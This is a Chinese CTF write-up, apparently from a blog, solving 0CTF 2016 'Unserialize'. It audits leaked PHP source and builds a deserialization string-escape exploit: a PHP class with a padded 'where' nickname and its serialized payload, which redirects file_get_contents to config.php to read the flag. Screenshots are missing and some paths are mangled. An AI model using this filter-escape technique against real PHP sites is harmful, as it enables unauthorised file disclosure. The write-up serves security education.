[CTFTraining] 0CTF 2016 Unserialize

0ops国际信息安全技术挑战赛

​ 打开环境后是这样：

​ 找了挺多地方没啥头绪，干脆直接上dirsearch：

​ 发现有源码泄露，直接下载下来分析。先进行自动审计：

​ 发现有疑似的漏洞，但根据题目来看是反序列化的，还是要自行进行审计，在https://blog.csdn.net/ZXW_NUDT/article/details/profile.PHP中有个unserialize反序列化，打开文件后还看到一个file_get_contents读文件：

​ Https://blog.csdn.net/ZXW_NUDT/article/details/profile.php：

require_once('class.php');if($_SESSioN['username'] == null) {die('Login First');}$username = $_SESSION['username'];$profile=$user->show_profile($username);if($profile  == null) {header('Location: update.php');}else {$profile = unserialize($profile);$phone = $profile['phone'];$email = $profile['email'];$nickname = $profile['nickname'];$photo = base64_encode(file_get_contents($profile['photo']));?>

​ profile信息存在，则后面有个else 。 可能这就是最终利用到的代码：

$photo = base64_encode(file_get_contents($profile['photo']));

​ 注意一下update.php，它做了一个上传的限制：

require_once('class.php');if($_SESSION['username'] == null) {die('Login First');}if($_POST['phone'] && $_POST['email'] && $_POST['nickname'] && $_FILES['photo']) {$username = $_SESSION['username'];if(!preg_match('/^\d{11}$/', $_POST['phone']))die('Invalid phone');if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))die('Invalid email');if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)die('Invalid nickname');$file = $_FILES['photo'];if($file['size'] < 5 or $file['size'] > 1000000)die('Photo size error');move_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));$profile['phone'] = $_POST['phone'];$profile['email'] = $_POST['email'];$profile['nickname'] = $_POST['nickname'];$profile['photo'] = 'upload/' . md5($file['name']);$user->update_profile($username, serialize($profile));echo 'Update Profile Success!Your Profile';}else {?>

​ 注意到class.php中的数据库查询有个过滤规则，这里刚刚好拿来逃逸利用

​ 然后在config.php中发现：

​ 看到这里有个flag 应该是要class调用config.php进行读取了

​ 访问reGISter.php注册一个账号，然后登录可更新信息：

​ 果然把 我们的photo 替换成了hacker

​ exp：

 class b{public $phone = "12345678901";public $email = "123@qq.com";public $nickname = array("wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere");public $photo = "config.php";}$a=new b();$profile = serialize($a);echo $profile; ?>

​ 输出结果：

O:1:"b":4:{s:5:"phone";s:11:"12345678901";s:5:"email";s:10:"123@qq.com";s:8:"nickname";a:1:{i:0;s:170:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

​ 再次更新时抓包：

​ Content-Disposition: fORM-data; name="nickname"替换数据并使用数组绕过：

​ 然后访问https://blog.csdn.net/ZXW_NUDT/article/details/profile.php，查看源码得到：



​ base64解码得到flag：

来源地址：https://blog.csdn.net/ZXW_NUDT/article/details/130988391